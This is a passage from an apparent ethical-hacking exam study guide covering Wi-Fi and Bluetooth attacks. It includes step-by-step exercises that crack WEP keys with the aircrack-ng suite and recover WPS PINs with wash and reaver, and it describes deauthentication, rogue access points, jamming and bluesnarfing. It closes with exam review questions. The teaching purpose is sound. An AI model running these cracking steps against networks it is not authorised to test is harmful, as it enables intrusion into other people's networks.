to describe why these problems arise.
First, you need to understand what WEP was designed to provide. WEP was intended to
achieve the following:
Defeat eavesdropping on communications and attempts to reduce unauthorized
disclosure of data.
Check the integrity of data as it flows across the network.
Use a shared secret key to encrypt packets prior to transmission.
Provide confidentiality, access control, and integrity in a lightweight, efficient system.
Its problems arise from the following circumstances:
The protocol was designed without input from the academic community or the public,
and professional cryptologists were never consulted.
It provides no clearly defined method for key distribution other than preshared keys.
As a result, the keys are cumbersome to change on a large scale and are very rarely
changed in many cases.
An attacker gaining cipher text and plain text can analyze and uncover the key.
Its design makes it possible to passively uncover the key using sniffing tools and
cracking tools available freely in operating systems such as Kali Linux.
Key generators used by different vendors are inconsistently and poorly designed,
leading to vulnerabilities such as issues with the use of 40-bit keys.
The algorithms used to perform key scheduling have been shown to be vulnerable to
attack.
WEP Problems and Vulnerabilities
WEP suffers from many flaws that make it easy for even a slightly skilled attacker to
compromise. These flaws are in the following areas:
CRC32 (Cyclic Redundancy Check), used in integrity checking, is flawed, and with
slight modifications packets may be modified consistently by attackers to produce
their desired results.
Initialization vectors (IVs) are only 24 bits in length, meaning that an entire pool of
IVs can be exhausted by a mildly active network in 5 hours or less.
WEP is susceptible to known plaintext attacks through the analysis of packets.
Keys may be uncovered through the analysis of packets, allowing for the creation of a
decryption table.
WEP is susceptible to denial-of-service (DoS) attacks through the use of associate and
disassociate messages, which are not authenticated by WEP.
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WEP makes extensive use of initialization vectors. An IV is a randomized
value that is used with the secret key for data encryption purposes. When these two
values are combined, they form a number used once (nonce).
The idea behind using an IV is that through the use of such a mechanism
randomness of data is assured, making detection of patterns or frequency of data
more difficult. However, flaws in the generation of IVs in WEP can make it
vulnerable to analysis and cracking.
Breaking WEP
Undoubtedly you have heard a lot about how poor the WEP protocol is and how you
should not use it. In this section we’ll explain how WEP is broken so you can see the
process and how everything pulls together.
The important part of breaking the WEP protocol is intercepting as many IVs as possible
before attempting to recover the key. The collection of IVs is done through the process of
sniffing or capturing. Collecting and saving IVs allows you to perform analysis: The more
packets, the easier it becomes to retrieve the keys. However, there can be a problem with
this process: collecting enough IVs can take a substantial amount of time, which depends
on how active the network is over the period in which the packets are being collected. To
speed up this process, it is possible to perform a packet injection to induce the network to
speed up the generation and gathering process.
To perform this process (including cracking the keys), follow these steps:
1. Start the wireless interface on the attacking system in monitor mode on the specific
access point channel. This mode is used to listen to packets in the air.
2. Probe the target network with the wireless device to determine if packet injection can
be performed.
3. Select a tool such as aireplay-ng to perform a fake authentication with the access
point.
4. Start the Wi-Fi sniffing tool to capture IVs. If you’re using aireplay-ng, ARP request
packets can be intercepted and reinjected back into the network, causing more packets
to be generated and then captured.
5. Run a tool such as Cain & Abel or aircrack-ng to extract the encryption keys from the
IVs.
So, looking at step 1, we put the wireless card into monitor mode to perform the cracking
operation. So what is monitor mode? In a sense it is much like promiscuous mode for
wired network cards, but taking a closer look we can see it is different than that. On
wireless that supports this mode, monitoring allows for the capture of traffic from
wireless networks without first being associated with an access point or other device.
Another distinction is that wired and wireless cards can both operate in promiscuous
mode, but only wireless cards can operate in monitor mode.
Once you look at these steps and realize that we are trying to capture traffic from a
network that we aren’t currently attached to, the reason for this mode becomes evident. If
we need to retrieve the key from a network we are not currently associated with, we need
to be able to capture traffic from the target without having an association to it already. In
this case the solution is monitor mode. (See Exercise 15.1.)
EXERCISE 15.1
Cracking WEP with Kali
In this exercise you will use Kali Linux 2.0 to break WEP. To perform this exercise,
you will need to have Kali Linux installed on a physical system (avoid virtualization).
You will also need to have an access point configured to use WEP (which you own) to
crack the key on.
Once you have configured your victim access point according to your vendor’s
instructions to use WEP and have entered a passphrase, you will need to perform the
following steps:
1. Within Kali Linux, open a terminal window.
2. Enter the following command:
airmon-ng
3. When the results appear in the terminal window, note the name of the wireless
interface. In most cases the interface will be wlan0, but always verify because it
can change if you are using an additional adapter such as a USB adapter.
4. In the terminal window enter the following command:
airmon-ng start wlan0 (
(or other interface if you’re not using wlan0).
5. If the command executes without error, then you should see a message in the text
that reads “monitor mode enabled on mon0.” If the message says something
other than mon0, make note of the name.
6. In the terminal window enter the following command:
airodump-ng mon0
7. Once the command is entered, a list of wireless networks should appear. The
number will vary depending on your location and wireless card, but your access
point should appear on the list.
8. In the list locate your access point in the ESSID column and then take some
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notes. Specifically, locate the channel and BSSID information. Once you have
collected and verified this information, move to the next step.
9. At the terminal window use the information you collected and enter it in the
following format:
Airodump-ng –w <filename> -c <channel number> -bssid <number> <interface
name>
10. In this example the bssid needs to be entered exactly as it appears on screen,
colons and all. For interface name use the name you collected in step 3. The
filename is the name of the file you want the results dumped into.
11. After about 15,000 packets have been captured, enter the following at the
command line:
aircrack-ng <filename>
12. Wait a few minutes for aircrack to retrieve the key from the file.
Note that the time it takes to complete this whole process could be 10 minutes or
more. This all depends on how active the network you are attached to is when
collection is being performed. This process can be accelerated if advanced methods
such as packet injections are used to generate more traffic.
When using some of the tools for sniffing wireless, additional equipment is needed such
as Riverbed Technology’s AirPcap hardware. This device is used to sniff wireless frames in
ways that standard Wi-Fi cards cannot. If you are going to be auditing wireless networks,
an investment in this device is well worth it.
WPA: a Closer Look
The successor to WEP is WPA, or Wi-Fi Protected Access. This standard was intended to
be a replacement for the flawed and insecure WEP protocol. The WPA protocol was
designed to be a software upgrade instead of requiring full hardware upgrades. However,
in some cases where older hardware is present and processing power or other
mechanisms are limited, a hardware upgrade may be required.
The most significant development introduced with the WPA protocol was the TKIP
system, whose purpose is to improve data encryption. TKIP improves on the WEP
protocol (where a static unchanging key is used for every frame transmitted) by changing
the key after every frame. This dynamic changing of keys makes WPA much more
difficult to crack than WEP.
WPA suffers from the following flaws:
Weak keys chosen by the user
Packet spoofing
Authentication issues with Microsoft Challenge Handshake Authentication Protocol
version 2 (MS-CHAP v2)
Cracking WPA
To crack WPA you must use a different approach than you would with WEP. Fortunately,
one of the best tools available for thwarting WPA is freely available in Kali Linux in the
form of Reaver. Reaver exploits holes in wireless routers in an attempt to retrieve
information about the WPA preshared key that is used to access the network.
Wi-Fi Protected Setup
When WPA came onto the scene, one of the issues encountered by early adopters was the
perceived difficulty in setting up the technology. In order to reduce configuration issues
and ease transition from WEP to WPA a new technology known as Wi-Fi Protected Setup
(WPS) was introduced to the public. This feature was and is supported by countless
access points, devices, and, of course, operating systems.
In theory, WPS is supposed to make life easier for the non-technology inclined by
allowing for quick push button configuration of wireless devices. In practice, the owner of
the device and network can push a hardware or software button on their router, and for a
brief period devices in range can connect to the wireless network without entering a
passphrase. Sounds easy, right? However, for the brief period after WPS is activated on
the router, devices in range of the access point can connect whether you authorize them
or not. This doesn’t sound like a big deal, but anyone who can get physical access to the
access point can push the button and gain access.
But let’s talk about the big problem with WPS, the PIN code. A PIN is simply a code like
the one you use for your ATM card and is used for a similar purpose in Wi-Fi networks.
The problem is twofold. First, the setting of a PIN code is mandatory, and second, the PIN
is only eight characters.
So here is the problem with the PIN and WPS. When the router checks the eight-digit
PIN, it only checks the first four digits to verify that they are correct before moving to the
second set of four. This makes it staggeringly easy to punch a hole in a WPS-enabled
router’s security. In practice, an attacker can brute force the PIN code by cracking only
four digits at a time, of which only about 11,000 combinations are possible. Now you may
think back to your ATM card and assume that if your bank card locks you out after three
attempts, so should the router, right? No such luck here; WPS does not make any
accommodations for blocking brute-force attempts this way. In reality, an attacker can hit
Go in their attack package and wait until the PIN is retrieved.
The only countermeasure for this type of attack at this time is to disable WPS, which may
or may not be possible on many devices. (See Exercise 15.2.)
EXERCISE 15.2
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Cracking WPA with Reaver and Wash
In this exercise you will use Kali Linux 2.0 to break WPA.
In order to perform this exercise you will need to have Kali Linux installed on a
physical system (avoid virtualization). WPA uses WPS for client configuration.
1. Within Kali Linux open a terminal window and enter the following command:
Airmon-ng start wlan0
This will put the card into monitor mode.
2. Next, you will locate access points with WPS using a command called wash. At the
command line enter the following:
Wash –I <monitoring interface>
Interface should be mon0, but verify that this is the case.
3. Locate your access point and record its BSSID.
4. At the command line enter the following command
reaver -i <interface-name> -b <BSSID of target>
where the interface name is mon0 or whatever you recorded on your system, and
the BSSID is the address of the access point (include colons when you enter the
BSSID).
When you have verified that this last step is running, it’s time to play the waiting
game and let Reaver retrieve the PIN. Once you have the PIN, you can join the
wireless network.
What Is WPA2?
The upgrade or successor to WPA is WPA2, which was introduced to address some of the
weaknesses present in the original. The protocol offers dramatically improved security
over its predecessor and maintains full compatibility with 802.11i standards for security.
Like WPA, WPA2 can function in two modes:
WPA2-Personal, much like the preshared key mode of other systems, relies on the
input of a key into each station.
WPA2-Enterprise uses a server to perform key management and authentication for
wireless clients. Common components include RADIUS and Diameter servers for
centralized management.
Attacking, Cracking, and Compromising WPA and WPA/2
As with WEP, WPA and WPA/2 both suffer from vulnerabilities that can be exploited to
an attacking party’s advantage. Each offers a way to penetrate the security of an otherwise
strong protocol.
Offline Attack
The idea behind an offline attack is to be in close enough proximity to an access point to
observe the handshake between the client and the access point. This handshake
represents the authentication of the client and the access point. If you set up the attack
properly, you can capture the handshake and recover the keys by recording and cracking
them offline. The main reason why this attack works is that the handshake occurs
completely in the clear, making it possible to get enough information to break the key.
Deauthentication Attack
The deauthentication attack approaches the problem of observing the handshake between
the client and the access point by forcing a reconnect. An attacker induces a client that is
already connected to an access point to disconnect, which should lead the client and
access point to reestablish the connection. Authentication will occur, allowing the
information to be captured and cracked.
An easy way to perform a deauthentication attack is to use the Linux-based Wifite. This
software package will target a network such as one using WPA2 and transmit packets
intended to kick clients off the wireless network. Once this is done, the client will attempt
to reauthenticate, and at this point clients and the access point undergo the handshake
when they connect. Capturing this handshake allows us to extract information needed to
connect to the network. The problem is how long will this process take?
In practice it is possible to actively or passively perform this attack. Passively means that
we would just wait for a client to connect to the access point and then get our information
at that point. Actively means we target either one or multiple clients and kick them off
and listen. The latter is more effective, but the former is less intrusive. Wifite performs
active attacks very effectively and is ideal for this purpose.
Of note is the fact that while you can execute this attack on the Windows
platform, you can only do so passively. This inability to perform active forms of this
attack is due to the Windows architecture itself. This is only one example of why you
will need to learn how to use Linux if you intend to become effective in penetration
testing.
Brute-Force WPA Keys
The old standby in a number of cases, including the breaking of WPA/WPA2 keys, is the
brute-force attack. This attack is typically performed using tools such as aircrack-ng,
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aireplay-ng, or KisMAC. The downside of this attack is that it can take a long time or a lot
of computing power to recover the keys.
Unless you happen to have a supercomputer lying around, expect a bruteforce attack to take anywhere from a few minutes to several weeks.
Risk Mitigation of WEP and WPA Cracking
So how can you thwart many of the attacks that we have discussed here that target WEP
and WPA? Excluding encryption and other mechanisms, here are the leading techniques:
Use a complex password or phrase as the key. Using the same rules we observed
earlier for passwords, you can make a strong password for the access point.
Use server validation on the client side to allow the client to have a positive ID of the
access point it is connecting to.
Eliminate WEP and WPA and move to WPA2 where available.
Use encryption standards such as CCMP, AES, and TKIP.
A Close Examination of Threats
Now that you understand the various technologies and issues specific to each, let’s take a
much closer look at some of the other generalized threats that can target an environment.
Typically, these attacks can be categorized as access control, integrity, and confidentiality
targeted attacks.
Attacks against wireless networks can be passive or active in nature. An
attack is passive if the wireless network is detected by sniffing the information that it
transmits. An attack is active if the network is uncovered by using probe requests to
elicit a response from the network.
Wardriving
A wardriving attack is one of the most common forms of action targeting wireless
networks. It consists of an attacker driving around an area with a computing or mobile
device that has both a wireless card and software designed to detect wireless clients or
access points.
What makes this type of attack possible is that wireless detection software will either
listen for the beacon of a network or send off a probe request designed to detect the
network. Once a network is detected, it can be singled out for later attack by the intruder.
Some of the software packages that are used to perform this type of attack are KisMAC,
NetStumbler, Kismet, WaveStumbler, and InSSIDer.
Wireless detection tools known as site survey tools can be used to reveal
wireless networks. Tools of this type are typically targeted toward corporate-level
admins who need to optimize their wireless networks as well as detect rogue access
points and other issues.
It is common for site survey tools to include the ability to connect to a GPS device in
order to pinpoint an access point or client within a few feet.
There are also variations of the wardriving attack, all of which have the same objective:
Warflying Same as wardriving, but uses a small plane or ultralight aircraft
Warballooning Same as warflying but makes use of a balloon instead
Warwalking Involves putting the detection equipment in a backpack or something
similar and walking through buildings and other facilities
A technique known as warchalking involves the placement of symbols in locations where
wireless signals were detected. These symbols tell the informed that a wireless access
point is nearby and provide data about it where available, including open or closed access
points, security settings, channel, and name.
These symbols evolved from hobo marks, which were frequently used by
vagrants during the 1930s to tell others where they could get a free meal, where a dog
might be, or if the police were likely to arrest you if they found you.
Rogue Access Points
A rogue access point is another effective way of breaching a network by violating trust.
The attacker installs a new access point that is completely unsecured behind a company
firewall. The attacker can then connect with relative impunity to the target network,
extracting information or carrying out further attacks.
This type of attack has been made relatively easy to perform through the use of more
compact hardware access points and software designed to create an access point. A savvy
attacker will either hide the access point from being readily observed or will configure the
SSID to appear as a corporate access point.
Would You Like Pi with That?
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A new way to breach a network has been made possible through the use of extremely
compact yet powerful hardware. An option that has become popular over the past two
years is the general-purpose, powerful, and extremely compact Raspberry Pi. This
computer, which can be had for around $35, is the size of a pack of cards.
Since the hardware is powerful enough to run an operating system such as Linux, it
has become an effective multipurpose tool. Some users have installed a custom
distribution of Linux that allows the box to be plugged into a network with a
traditional wired interface while accepting connections over a wireless interface. The
implications of this are that an intruder can quickly plug the device into the target
network and in a few short moments have an entry point into the victim’s
infrastructure.
To make penetration more secure, some of these devices have been known to employ
tactics designed to hide their traffic. One of these techniques is known as reverse
SSH tunneling, in which the device opens a connection from inside the network out
to the attacker in order to bypass firewall restrictions.
In practice, such devices have become commonly known as dropboxes.
MAC Spoofing
For those access points that employ MAC filtering, you can use MAC spoofing. MAC
filtering is a technique used to either blacklist or whitelist the MAC addresses of clients at
the access point. If a defender deploys this technique, an attacking party can spoof the
address of an approved client or switch their MAC to a client that is not blocked.
Typically, it is possible to use tools such as SMAC, ifconfig, changemac.sh, and others to
accomplish this task. However, in some cases the hardware configuration settings for a
network card may allow the MAC to be changed without such applications.
Ad Hoc
The ad hoc attack relies on an attacker using a Wi-Fi adapter to connect directly to
another wireless-enabled system. Once this connection is established, the two systems
can interact with each other. The main threats with this type of connection are that it is
relatively easy to set up, and many users are completely unaware of the difference
between infrastructure and an ad hoc network and so may attach to an insecure network.
Security on an ad hoc network is quirky at best and is very inconsistent. For example, in
the Microsoft family of operating systems, ad hoc connections are unable to support any
advanced security protocols, thus exposing users to increased risk.
Misconfiguration
We have pointed out this problem before in other areas, and misconfiguration is a
problem with access points as well. All the security features in the world aren’t going to
help one bit if they are misconfigured or not configured at all. The danger here is
heightened, however, since a wireless access point provides an ideal “access anywhere”
solution for attackers or other malicious parties who can’t physically connect to the
network.
Client Misassociation
The client misassociation attack starts with a client attaching to an access point that is on
a network other than their own. Due to the way wireless signals propagate through walls
and many other structures, a client can easily detect another access point and attach to it
either accidently or intentionally. In either case, a client may attach to a network that is
unsafe perhaps while still connected to a secure network. This last scenario can result in a
malicious party gaining access to a protected network.
Promiscuous Client
The promiscuous client offers an irresistibly strong signal intentionally for malicious
purposes. Wireless cards often look for a stronger signal to connect to a network. In this
way the promiscuous client grabs the attention of the users by sending a strong signal.
Jamming Attacks
One particularly interesting way of attacking a WLAN is to resort to a plain-old DoS
attack. Although there are many ways to do this, one of the easiest is to just jam the
network, thus preventing it from being used. It is possible to use a specially designed
jammer that will transmit signals that can overwhelm and deny the use of the access
point by legitimate clients. The benefit of this type of attack is that it works on any type of
wireless network.
To perform this type of attack, you can use a specially designed hardware device that can
transmit signals that interfere with 802.11 networks. These devices are easy to find online
and can be used to jam any type of wireless network.
A word to the wise: Using these devices to jam transmissions is illegal in
most cases and can result in very steep fines.
Honeyspot Attack
Users can connect to any available wireless network as long as they are in range of one
another; sometimes this can be a large number of access points. With such an
environment, an attacker has expanded opportunities to attract unknowing users. To
perform this type of attack, a malicious party sets up a rogue access point in the range of
several legitimate ones as a honeyspot. With the rogue access point generating a much
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stronger and clearer signal, it is possible to attract clients looking for the best signal.
One hardware device that is designed to use as a wireless honeyspot is the
Wi-Fi Pineapple from Hak5. This device looks like a compact wireless router, but it
offers features useful for working with wireless networks. Since its first release, it
has introduced custom hardware and software purpose built to audit wireless
networks. In the hands of an ethical hacker, this tool can be used to deploy not only a
wireless honeyspot or honeypot but much more.
Ways to Locate Wireless Networks
In order to attack, you must first find a target, and though site surveys can make this
easier, they cannot help in every case. Several tools and mechanisms make locating a
target network easier.
The following tools can complement wardriving or be used on their own:
OpenSignal is a useful app that can be used on the web at http://opensignal.com or on
a mobile device by downloading the OpenSignal app. With this application, you can
map out Wi-Fi networks and 2G–4G networks, as well as correlate this information
with GPS data.
wefi (www.wefi.com) provides a map of various locations, with the access points noted
in varying amounts of detail.
JiWire (www.jiwire.com) offers a map of various locations, with access points detected
in a given region.
Wigle (www.wigle.net) is another service that offers the location of wireless access
points. The benefit is that the information is crowd-sourced, which is derived from
individuals providing data to the service.
Skyhook (skyhookwireless.com) is another service much like Wigle.
Traffic Analysis
Once you’re connected to a target network, the next step is to perform traffic analysis to
gain insight into the activity in the environment. As when using Wireshark with standard
network traffic, it is entirely possible to scrutinize traffic on a wireless network. By
performing such analysis, you can gain vital information on traffic patterns, protocols in
use, and authentication, not to mention information specific to applications. In addition,
analysis can reveal vulnerabilities on the network as well as client information.
Under ideal conditions, traffic analysis of a wireless network can be expected to reveal the
following:
Broadcast SSIDs
Presence of multiple access points
Possibility of recovering SSIDs
Authentication method used
WLAN encryption algorithms
Currently, a number of products can perform wireless traffic analysis—Kismet,
AirMagnet, Wireshark with AirPcap, CommView, and a few others.
Also note that in addition to traffic analysis, some tools offer the ability to perform
spectrum analysis. This means that the user can analyze the RF spectrum of wireless
networks and devices. In the right hands, these tools can detect issues with frequency,
channel overlap, and performance, as well as help locate devices other than access points
that may be in range.
Hacking Wireless the Easy Way
While all the tools mentioned here are very effective at what they do, a problem is
that they are probably going to be installed on a laptop or desktop system, which is
not very mobile. Fortunately, companies such as Pwnie Express have jumped into the
fight with their Pwn Pad and Pwn Phone, both of which are equipped with a powerful
suite of software tools designed to aid the penetration tester.
In the case of the Pwn Pad, a tablet is configured to use a specially built version of
the Android operating system loaded with various tools. The tablet in its latest
iteration, the Pwn Pad 3, offers PC-level performance in a small form factor, allowing
you, as a penetration tester, to move around much more freely and have the
horsepower to perform computationally intense attacks. For wireless audits this is
invaluable.
In the case of the Pwn Phone, the same suite is installed on a smartphone, which
offers not only a high degree of mobility but also the ability to hide in plain sight.
With the introduction of automated tools to perform various attacks such as the
wireless ones covered here, it would be possible for a penetration tester to walk
around unnoticed. What would appear to the casual observer to be someone chatting
on their cell phone would actually be a penetration tester scanning and mapping out
their wireless network.
While these devices may not be appropriate for every situation, they add a new level
of power and capability to your toolkit.
Choosing the Right Wireless Card
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The subject of wireless cards and chipsets is important. Although in many cases the
chipset on the card and the wireless card itself may not matter, some tools require the
presence of certain chipsets in order to function.
Items to consider include the following:
Operating system in use
Application in use
Whether packet injection is required (Windows systems cannot perform packet
injection; if this is required, then Linux must be used.)
Driver availability
Manufacturer of wireless card and chipset (You must know both because the two can
be made by different manufacturers.)
If you are using virtualization, you may also need to check to see if your card will work
with this environment.
In the real world the biggest deciding factors on many wireless
penetration tools are not the type of card and chipset. Consider also compatibility
with Linux, because some tools for wireless auditing (for example, Kali) may be
available only on the Linux platform. Make sure the card you choose has Linux
drivers available.
Another deciding factor is if the card is USB or PCMCIA or whether it is built into the
actual hardware. Each situation could cause some problems with some software.
One last thing to consider is that some hardware such as Riverbed Technology’s
AirPcap can only be run on Windows or on other specific environments.
Hacking Bluetooth
Another wireless technology to consider is Bluetooth, which is seen in many mobile
devices in today’s marketplace. Bluetooth refers to a short-range wireless technology
commonly used to connect devices such as headsets, media players, and other types of
technologies. Bluetooth operates in the 2.4 GHz frequency range and is designed to work
at distances up to 10 meters (33 feet).
There are four generations of Bluetooth technologies and each has
different specifications. Currently, Bluetooth is able to operate beyond 10 meters, but
you will not be tested on the specifics of each generation.
When you’re working with Bluetooth devices, there are some specifics to keep in mind
about the devices and how they operate.
First, the device can operate in one of the following modes:
Discoverable This allows the device to be scanned and located by other Bluetoothenabled devices.
Limited Discoverable This mode is becoming more commonly used; in this mode the
device will be discoverable by other Bluetooth devices for a short period of time before it
returns to being nondiscoverable.
Nondiscoverable As the name suggests, devices in this mode cannot be located by other
devices. However, if another device has previously found the system, it will still be able to
do so.
In addition to the device being able to be located, it can be paired with other devices to
allow communication to occur. A device can be in pairing or nonpairing mode; pairing
means it can link with another device and nonpairing means it cannot.
Of course, one of the issues that needs to be addressed when targeting Bluetooth devices
is the lack of range; 33 feet is not that far. Staying calm and collected as well as
undetected is tough when in such close proximity of a target. So we need to be able to do
something about the range question. To tackle this problem we can incorporate the use of
an industrial-level Bluetooth adapter. One notable option in this area is the UD100 from
Sena Technologies. This adapter can extend the range of Bluetooth from 300 to 1000
meters (1000 feet to 3300 feet) depending on whether an external adapter is used or not.
By using this adapter, it is possible to dramatically increase the range of your attacks.
Although Bluetooth has a fairly limited range in most cases (new
generations notwithstanding), it is possible to extend your attack range if you do
your research. A few short years ago the magazine Popular Science published
information on how to extend the range of Bluetooth significantly using only a cell
phone antenna and a Bluetooth adapter. With a little elbow grease and an investment
of $100—and about a half hour of time—you too can create an antenna that can more
than quadruple the range of a standard Bluetooth system.
If you are feeling ambitious, you can even visit YouTube and learn how to make your
own “Bluetooth sniper rifle” to extend the range of the technology as well.
Bluetooth Threats
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Much like Wi-Fi, Bluetooth has a bevy of threats facing it that you must take into
account. Bluetooth suffers from many shortcomings that have been slowly addressed
with each successive version, but many flaws remain and can be exploited. The
technology has already seen many attacks take their toll on victims in the form of losing
information such as the following:
Leaking calendars and address books or other information is possible through the
Bluetooth protocol.
Creation of bugging devices has been a problem with Bluetooth devices because
software has been made available that can remotely activate cameras and
microphones.
An attacker can remotely control a phone to make phone calls or connect to the
Internet.
Attackers have been known to fool victims into disabling security for Bluetooth
connections in order to pair with them and steal information.
Mobile phone worms can exploit a Bluetooth connection to replicate and spread.
Bluejacking
Bluejacking is one form of Bluetooth attack that is more annoying than malicious in most
cases. The attack takes the form of sending an anonymous text message via Bluetooth to a
victim. Since this attack exploits the basic operation of the Bluetooth protocol, it is hard
to defend against, other than making the device nondiscoverable.
Use the following steps to bluejack a victim or a device:
1. Locate an area with a high density of mobile users such as a mall or convention center.
2. Go to the contacts in your device’s address book.
3. Create a new contact and enter a message.
4. Save the contact with a name but without a phone number.
5. Choose Send Via Bluetooth.
6. Choose a phone from the list of devices and send the message.
If all goes well at this point, your new “friend” should receive the message you just
crafted.
Bluesnarfing
Another example of a Bluetooth attack is bluesnarfing. This attack is designed to extract
information at a distance from a Bluetooth device. If you execute the attack skillfully, you
can obtain the address book, call information, text information, and other data from the
device. Because of the nature of the attack, it is considered very invasive and extremely
dangerous.
Bluetooth Honeypots
A new way to target Bluetooth devices and draw them in is to use a Linux-based tool
called Bluepot. This utility is designed to accept incoming malware and respond to
Bluetooth attacks. This utility can make the discovery and targeting of Bluetooth devices
easier.
Summary
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In this chapter we explored wireless technologies, including Wi-Fi and Bluetooth. We
observed that wireless is a powerful and convenient technology that frees users from
wires and allows the network to expand into areas it could not go into before. We also
explored the fact that wireless technologies are very vulnerable and have a whole range of
concerns that don’t exist with traditional networks.
Today’s enterprise is likely to have a wireless network in place as well as numerous
Bluetooth-enabled devices. The propagation of signals, the misapplication of the
technology, social engineering, and just plain-old mistakes have all led to significant
vulnerabilities in the workplace. An attacker using a notebook, an antenna, and the right
software can easily use a wireless network to break into and take over a network or at the
very least steal information with ease.
You learned some of the defensive measures that are also available for wireless
technologies. 802.11 networks typically offer security in the form of WEP, WPA, or WPA2
as a front-line defense, with preference given to WPA2 and WPA over the much weaker
and broken WEP. If configured correctly, WPA and WPA2 offer strong integrity and
protection for information transmitted over the air. Additional security measures include
the use of strong passwords and phrases as well as the proper configuration of wireless
gear.
Exam Essentials
Understand the various types of wireless technologies. Know that not all wireless
technologies are the same. Each wireless technology has different frequencies it works
on, channels it can use, and speeds it is capable of achieving to transmit data.
Know how Bluetooth works Understand that Bluetooth is a short-range wireless
technology that has several vulnerabilities that can be exploited. Also know that the range
of Bluetooth can be extended beyond its default range of 10 meters.
Know the different types of wireless attacks Understand what distinguishes one
wireless network attack from another.
Know the differences between the 802.11 standards. Understand that each
standard of wireless has its own attributes that make it different from the others.
Understand WEP, WPA, and WPA2. Understand that WEP was the initial
specification included in the 802.11 protocol and that WPA and WPA2 were introduced
later. Both of the latter protocols are intended to be compatible with the 802.11i standard.
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Review Questions
1. WEP is designed to offer security comparable to which of the following?
A. Bluetooth
B. Wired networks
C. IrDA
D. IPv6
2. Which of the following operates at 5 GHz?
A. 802.11a
B. 802.11b
C. 802.11g
D. 802.11i
3. Which of the following specifies security standards for wireless?
A. 802.11a
B. 802.11b
C. 802.11g
D. 802.11i
4. Which of the following options shows the protocols in order from strongest to
weakest?
A. WPA, WEP, WPA2, Open
B. WEP, WPA2, WPA, Open
C. Open, WPA, WPA2, WEP
D. WPA2, WPA, WEP, Open
5. Which of the following is designed to locate wireless access points?
A. Site survey
B. Traffic analysis
C. Pattern recognition
D. Cracking
6. What is a client-to-client wireless connection called?
A. Infrastructure
B. Client-server
C. Peer-to-peer
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D. Ad hoc
7. When a wireless client is attached to an access point, it is known as which of the
following?
A. Infrastructure
B. Client-server
C. Peer-to-peer
D. Ad hoc
8. Bluesnarfing is used to perform what type of attack?
A. Send spam text messages.
B. Read information from a device.
C. Deposit malware on a system.
D. Distribute files onto a system.
9. Monitor mode is used by wireless cards to do what?
A. Capture traffic from an associated wireless access point.
B. Capture information from ad hoc networks.
C. Capture information about wireless networks.
D. Capture traffic from access points.
10. A honeyspot is designed to do what?
A. Look for patterns of known attacks.
B. Look for deviations from known traffic patterns.
C. Attract victims to connect to it.
D. Analyze attacks patterns.
11. An SSID is used to do which of the following?
A. Identify a network.
B. Identify clients.
C. Prioritize traffic.
D. Mask a network.
12. AirPcap is used to do which of the following?
A. Assist in the sniffing of wireless traffic.
B. Allow network traffic to be analyzed.
C. Allow the identification of wireless networks.
D. Attack a victim.
13. What is a rogue access point?
A. An access point not managed by a company
B. An unmanaged access point
C. A second access point
D. A honeypot device
14. Bluejacking is a means of which of the following?
A. Tracking a device
B. Breaking into a device
C. Sending unsolicited messages
D. Crashing a device
15. The wardriving process involves which of the following?
A. Locating wireless networks
B. Breaking into wireless networks
C. Sniffing traffic
D. Performing spectrum analysis
16. Warchalking is used to do which of the following?
A. Discover wireless networks.
B. Hack wireless networks.
C. Make others aware of a wireless network.
D. Analyze a wireless network.
17. A closed network is typically which of the following?
A. Public network
B. Private network
C. Hot spot
D. Kiosk location
18. Which feature makes WPA easy to defeat?
A. AES encryption
B. WPS support
C. TKIP support
D. RC4 support
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19. What is a PSK?
A. The password for the network
B. The certificate for the network
C. A key entered into each client
D. A distributed password for each user
20. Which of the following is a device used to perform a DoS on a wireless network?
A. WPA jammer
B. WPA2 jammer
C. WEP jammer
D. Wi-Fi jammer
Chapter 16
Mobile Device Security
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments
Q. Log analysis tools
S. Exploitation tools
Over the last few years, the workplace has undergone a dramatic
shift, with a large increase in the number of mobile devices. The idea of a small powerful
device that can do many if not all of the tasks that a notebook or desktop computer can do
is very attractive. The power of mobile devices ranging from smartphones to tablets has
increased to the point where they are acceptable replacements for day-to-day tasks and
more. This fact—coupled with their ease of use, small form factor, long battery life, and
low cost—has led to their rapid adoption and spread into both personal and professional
circles.
Today the average person possesses at least three mobile devices, with many having
more. These tend to be the smartphone, tablet, and notebook. These have become so
feature packed and powerful that many people who wouldn’t have dreamed of carrying
such devices in the past now can’t part with them and have them in their possession 24
hours a day.
With the wide variety of devices and the sheer number present, the impact on personal
lives and the workplace is undeniable. Owners of the devices are bringing them into the
workplace, and businesses are purchasing their own. This situation has led to a number of
problems, including the mixing of personal and business data as well as inconsistent
application of security settings and protocols, making mobile devices a prime target of
attack by a malicious party.
In this chapter we will explore these issues and how to test mobile devices for
vulnerabilities as well as discuss countermeasures that can be used.
Mobile OS Models and Architectures
The rapid adoption of the mobile device in the workplace has had two obvious
consequences: an increase in productivity and capability as well as a corresponding rise in
the number of security risks. The designers of devices have frequently made a tradeoff
between security and features by leaning toward features, with security being an
afterthought. While new security features have helped to somewhat reduce the issues
present, many of the devices still have problems to be addressed.
A great many problems in enterprise environments come from the fact
that devices owned by individuals transition in and out of the enterprise ecosystem.
Devices that are used for both personal and business reasons end up mixing the
security needs and data types of both areas in a potentially insecure manner. Security
managers of many organizations have had to deal with personally owned devices
accessing corporate services, viewing corporate data, and conducting business
operations. Compounding this problem is that these personally owned devices are
not managed by the organization, which means, by extension, anything stored on
them isn’t managed either.
Goals of Mobile Security
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Mobile operating systems come in four flavors: Blackberry, Windows Mobile, Google
Android, and Apple iOS. Of these, the Apple iOS and Google Android operating systems
are by far the ones most commonly found on modern devices. In order to simplify the
examination of mobile operating systems and devices in this chapter, the discussion will
consider only iOS and Android.
Of the mobile operating systems available, the Android operating system
dominates with about 83 percent of the market share. Second place in the market is
Apple’s iOS with about 14 percent and Windows and Blackberry owning 2.6 percent
and .3 percent, respectively.
An estimated 1.5 billion devices are running the Android OS worldwide, and this
trend is showing no signs of slowing down anytime soon.
Both of these operating systems have been designed to address some of the most basic
threats and risks right out of the box, such as the following:
Web-based attacks
Network-based attacks
Malware
Social engineering attacks
Resource and service availability abuse
Malicious and unintentional data loss
Attacks on the integrity of data
Before analyzing the security models of these two operating systems, a brief recap of each
of these attacks as they relate to mobile devices might be helpful:
Web and Network Attacks These are typically launched by malicious websites or
compromised legitimate websites. The attacking website sends malformed network
content to the victim’s browser, causing the browser to run malicious logic of the
attacker’s choosing.
Malware Malware can be broken into three high-level categories: traditional computer
